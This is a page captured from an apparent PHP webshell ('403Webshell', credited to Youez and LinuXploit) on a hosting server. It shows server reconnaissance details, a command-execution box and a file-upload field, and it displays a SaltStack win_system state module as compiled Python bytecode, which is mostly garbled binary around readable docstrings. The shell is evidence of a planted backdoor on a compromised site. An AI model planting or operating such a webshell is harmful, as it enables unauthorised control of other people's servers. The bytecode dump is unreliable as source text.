403Webshell
Server IP : 198.38.94.13  /  Your IP : 216.73.217.33
Web Server : Apache
System : Linux d4744.dxb1.stableserver.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : revivere ( 1140)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/saltstack/salt/lib/python3.10/site-packages/salt/states/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/saltstack/salt/lib/python3.10/site-packages/salt/states/__pycache__/win_system.cpython-310.pyc
o

;jm6�@s�dZddlZddlZddlZe�e�ZdZdd�Z	dd�Z
ejj�
e
d�Zd	d
�Zdd�Zd
d�Z					ddd�Z					ddd�Z						ddd�ZdS)ab
Management of Windows system information
========================================

.. versionadded:: 2014.1.0

This state is used to manage system information such as the computer name and
description.

.. code-block:: yaml

    ERIK-WORKSTATION:
      system.computer_name: []

    This is Erik's computer, don't touch!:
      system.computer_desc: []
�N�systemcCs tjj��sdSdtvrdStS)zL
    Make sure this Windows and that the win_system module is available
    )Fz%win_system: Only available on Windows�system.get_computer_desc)Fz5win_system: win_system execution module not available)�salt�utils�platformZ
is_windows�__salt__�__virtualname__�r	r	�J/opt/saltstack/salt/lib/python3.10/site-packages/salt/states/win_system.py�__virtual__s
rcCs�t|�}|idd|�d�d�}td�}||kr|Stdr,d|d<d	|�d�|d
<|Std|�}|d|krHd
�|�|d
<||d�|d<|Sd|d<d|�d�|d
<|S)zd
    Manage the computer's description field

    name
        The desired computer description
    Tz%Computer description already set to '�'��name�changes�result�commentr�testNrz)Computer description will be changed to 'rzsystem.set_computer_desczComputer Descriptionz1Computer description successfully changed to '{}'��old�newrFz'Unable to set computer description to ')�strr�__opts__�format)r�retZbefore_descrr	r	r
�
computer_desc)s.
�
��r�computer_descriptioncCs.t|�}|idd|�d�d�}td�}td�}||kr#|dur#|S||��kr3d�||�|d	<|Std
rEd|d<d|�d�|d	<|Std
|�}|dur�|dd}|d�d�}|durd||ksl|dur�||kr�d|�d�|d	<|dur�|d	d7<||d�|d<|Sd|d<d|�d�|d	<|S)zP
    Manage the computer's name

    name
        The desired computer name
    TzComputer name already set to 'rr
zsystem.get_computer_namez system.get_pending_computer_nameNzQThe current computer name is '{}', but will be changed to '{}' on the next rebootrrrz"Computer name will be changed to 'zsystem.set_computer_nameFz
Computer NameZCurrentZPendingz#Computer name successfully set to 'z, (reboot required for change to take effect)rrz Unable to set computer name to ')rr�upperrr�get)rrZbefore_nameZpending_namerZ
after_nameZ
after_pendingr	r	r
�
computer_nameUsB
�

��rcCs�|iddd�}td�}|��|��krd|�d�|d<|Std|�}|r6d	�||�|d<d
|i|d<|Sd|d
<d|d<|S)zs
    .. versionadded:: 2016.3.0

    Manage the hostname of the computer

    name
        The hostname to set
    T�r
zsystem.get_hostnamezHostname is already set to 'rrzsystem.set_hostnamezLThe current hostname is '{}', but will be changed to '{}' on the next reboot�hostnamerFrzUnable to set hostname)rrr)rrZcurrent_hostname�outr	r	r
r �s"	
���r cCsn|��didd�}td�}d|vr|dn	d|vr|dnd}|��|��kr8d|d<d	|���d
�|d<|StdrNd
|d<i|d<d|�d
�|d<|Std|���}td�}d|vrc|dn	d|vrk|dnd}|r�|��|��kr�d|d<d�|��|���|d<|S|r�d|d<d�|��|���|d<|��|��d�|d<|Sd|d<d�|���|d<|S)z�
    .. versionadded:: 3001

    Manage the workgroup of the computer

    Args:
        name (str): The workgroup to set

    Example:

    .. code-block:: yaml

        set workgroup:
          system.workgroup:
            - name: local
    Fr)rrrr�system.get_domain_workgroup�Domain�	WorkgroupTrzWorkgroup is already set to 'rrrNrz&Computer will be joined to workgroup 'zsystem.set_domain_workgroupz*The new workgroup '{}' is the same as '{}'z0The workgroup has been changed from '{}' to '{}'rz+Unable to join the requested workgroup '{}')rrrr)rrr!Zcurrent_workgroup�resZ
new_workgroupr	r	r
�	workgroup�sR
��
�����
�
��r&Fc
Cs|idd|�d�d�}td�}d|vr|d}n	d|vr d}nd}|��|��kr4d|�d�|d	<|Std
rFd|d<d|�d�|d	<|Std
||||||d�}	|	durzd|�d�|d	<|ri|d	d7<n|d	d7<||d�|d<|Sd|�d�|d	<d|d<|S)a�
    Checks if a computer is joined to the Domain. If the computer is not in the
    Domain, it will be joined.

    Args:

        name (str):
            The name of the Domain.

        username (str):
            Username of an account which is authorized to join computers to the
            specified domain. Need to be either fully qualified like
            user@domain.tld or simply user.

        password (str):
            Password of the account to add the computer to the Domain.

        account_ou (str):
            The DN of the OU below which the account for this computer should be
            created when joining the domain,
            e.g. ou=computers,ou=departm_432,dc=my-company,dc=com.

        account_exists (bool):
            Needs to be set to ``True`` to allow re-using an existing computer
            account.

        restart (bool):
            Needs to be set to ``True`` to restart the computer after a
            successful join.

    Example:

    .. code-block:: yaml

        join_to_domain:
          system.join_domain:
            - name: mydomain.local.com
            - username: myaccount@mydomain.local.com
            - password: mysecretpassword
            - restart: True
    TzComputer already added to 'rr
r"r#r$NrrrzComputer will be added to 'zsystem.join_domain)�domain�username�password�
account_ou�account_exists�restartFzComputer added to 'z
System will restartz
System needs to be restartedrrzComputer failed to join ')r�lowerr)
rr(r)r*r+r,rZcurrent_domain_dicZcurrent_domainrr	r	r
�join_domain�sH3
�

��r.�Tc	Cst||||d||d�S)a�
    Reboot the computer

    :param str message:
        An optional message to display to users. It will also be used as a
        comment in the event log entry.

        The default value is None.

    :param int timeout:
        The number of minutes or seconds before a reboot will occur. Whether
        this number represents minutes or seconds depends on the value of
        ``in_seconds``.

        The default value is 5.

    :param bool in_seconds:
        If this is True, the value of ``timeout`` will be treated as a number
        of seconds. If this is False, the value of ``timeout`` will be treated
        as a number of minutes.

        The default value is False.

    :param bool force_close:
        If this is True, running applications will be forced to close without
        warning. If this is False, running applications will not get the
        opportunity to prompt users about unsaved data.

        The default value is True.

    :param bool only_on_pending_reboot:

        If this is True, the reboot will only occur if the system reports a
        pending reboot. If this is False, the reboot will always occur.

        The default value is True.
    T��message�timeout�force_close�reboot�
in_seconds�only_on_pending_reboot)�shutdown)rr1r2r3r5r6r	r	r
r4Ss.�r4c	Cs�|iddd�}|rd}nd}|r,td�s,tdr#d|�d	�|d
<|Sd�|�|d
<|Stdr=d|d
<d|��|d
<|Std|||||dd�|d
<|d
rddd|�d�d�|d<d|�d�|d
<|Sd|�d�|d
<|S)a�
    Shutdown the computer

    :param str message:
        An optional message to display to users. It will also be used as a
        comment in the event log entry.

        The default value is None.

    :param int timeout:
        The number of minutes or seconds before a shutdown will occur. Whether
        this number represents minutes or seconds depends on the value of
        ``in_seconds``.

        The default value is 5.

    :param bool in_seconds:
        If this is True, the value of ``timeout`` will be treated as a number
        of seconds. If this is False, the value of ``timeout`` will be treated
        as a number of minutes.

        The default value is False.

    :param bool force_close:
        If this is True, running applications will be forced to close without
        warning. If this is False, running applications will not get the
        opportunity to prompt users about unsaved data.

        The default value is True.

    :param bool reboot:

        If this is True, the computer will restart immediately after shutting
        down. If False the system flushes all caches to disk and safely powers
        down the system.

        The default value is False.

    :param bool only_on_pending_reboot:

        If this is True, the shutdown will only occur if the system reports a
        pending reboot. If this is False, the shutdown will always occur.

        The default value is False.
    Trr
r4r7zsystem.get_pending_rebootrzSystem z- will be skipped because no reboot is pendingrz8System {} has been skipped because no reboot was pendingNrzWill attempt to schedule a zsystem.shutdownFr0z#No reboot or shutdown was scheduledzA z has been scheduledrrzRequest to z was successfulz failed)rrr)	rr1r2r3r4r5r6r�actionr	r	r
r7�sD7
�	���
�	

��r7)NNNFF)Nr/TFT)Nr/TFFF)�__doc__�loggingZsalt.utils.functoolsrZsalt.utils.platform�	getLogger�__name__�logrrrr�	functoolsZalias_functionrrr r&r.r4r7r	r	r	r
�<module>sB
'�3"L
�a
�;�

Youez - 2016 - github.com/yon3zu
LinuXploit